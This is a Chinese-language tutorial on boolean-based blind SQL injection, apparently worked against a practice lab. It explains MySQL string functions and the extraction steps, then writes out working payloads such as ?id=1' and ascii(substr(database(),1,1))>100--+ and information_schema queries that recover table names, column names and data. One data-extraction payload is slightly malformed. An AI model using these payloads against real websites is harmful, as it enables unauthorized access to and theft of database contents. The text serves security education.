布尔盲注知识点

概念:布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 truefalse使web页面返回true或者false,从而达到注入的目的来获取信息

ascii() 函数,返回字符ascii码值

    参数 : str单字符

length() 函数,返回字符串的长度

    参数 : str 字符串

left() 函数,返回从左至右截取固定长度的字符串

    参数str,length
    str : 字符串
    length:截取长度

substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串

    参数,str,pos,length
    str: 字符串
    pos:开始位置
    length: 截取长
 

注入流程
  • 求当前数据库长度
  • 求当前数据库表的ASCII
  • 求当前数据库中表的个数
  • 求当前数据库中其中一个表名的长度
  • 求当前数据库中其中一个表名的ASCII
  • 求列名的数量
  • 求列名的长度
  • 求列名的ASCII
  • 求字段的数量
  • 求字段内容的长度
  • 求字段内容对应的ASCII

常用函数

length() 返回字符串的长度,例如可以返回数据库名字的长度 substr() ⽤来截取字符串 ascii() 返回字符的ascii码 sleep(n) 将程序挂起⼀段时间,n为n秒 if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句

布尔盲注知识点_第1张图片

substr函数原理

在构造SQL语句之时,and后面如果跟着一个大于0的数,那么SQL语句正确执行,所以利用此特性,使用substr截取字符,当截取的字符不存在,再通过ascii函数处理之后将会变成false,页面将回显错误

求当前数据库名

思路:

利用left 函数,从左至右截取字符串

截取字符判断字符的ascii码,从而确定字符

-- 从左至右截取一个字符
SELECT * from users WHERE id = 1 and (left(database(),1)='s')
-- 从左只有截取两个字符
SELECT * from users WHERE id = 1 and (left(database(),2)='se')

SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),1,1)) = 115)
SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),2,1)) = 101)

SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),1,1)) = 115)
SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),2,1)) = 101)

1.绕过:
有时候我们可能会遇到将1=1过滤掉的SQL注入点,这时候我们可以通过修改关键字来绕过过滤,比如将关键字修改为不常见的数值(如1352=1352等)。

在字符串型注入的时候我们还需要绕过单引号,将Payload修改为如下格式'and'1'='1和'or'1'='2来闭合单引号(第一个引号闭合原句中引号,原句中后面的引号拼接到语句中了
 

2.判断:
Bool盲注中通常会配套使用一些判断真假的语句来进行判定。常用的发现Bool盲注的方法是在输入点后面添加and 1=1和and 1=2(该Payload应在怀疑是整型注入的情况下使用)。

如果题目后端拼接了SQL语句,and 1=1为真时不会影响执行结果,但是and 1=2为假,页面则可能会没有正常的回显。

 例题

加上单引号,无返回数据

且注释后,有返回数据

所以为单引号闭合,存在SQL注入点

布尔盲注知识点_第2张图片

布尔盲注知识点_第3张图片

?id=1' and 1=1 --+  页面有返回

布尔盲注知识点_第4张图片

?id=1' and 1=0 --+ 页面无结果返回

布尔盲注知识点_第5张图片

 

猜数据库名长度

?id=1' and (length(database()))>7--+页面返回有数据

布尔盲注知识点_第6张图片

?id=1' and (length(database()))>8--+页面无结果返回

布尔盲注知识点_第7张图片

数据库名称长度为:8

猜数据库名(ASCII码)

?id=1' and ascii(substr(database(),1,1))>100--+ 页面返回有数据

布尔盲注知识点_第8张图片

?id=1' and ascii(substr(database(),1,1))<150--+ 页面返回有数据

布尔盲注知识点_第9张图片

一直从中间分下去,直到确定一个值对应的ascii码

通过这个方法判断出整个数据库名

猜表名

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100--+页面返回有数据
布尔盲注知识点_第10张图片

 ?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))<150--+有返回数据

布尔盲注知识点_第11张图片

通过这个方法判断出整个表名

猜字段名

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))>50--+   页面返回有数据
布尔盲注知识点_第12张图片

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))<80--+返回有数据

布尔盲注知识点_第13张图片

通过这个方法判断出整个字段名

猜数据

?id=1' and (ascii(substr(( select  id users limit 0,1),1,1)))<80--+  页面返回有数据

布尔盲注知识点_第14张图片

?id=1' and (ascii(substr(( select  id users limit 0,1),1,1)))>30--+页面返回有数据

布尔盲注知识点_第15张图片

通过这个方法判断出整个数据 

你可能感兴趣的:(数据库)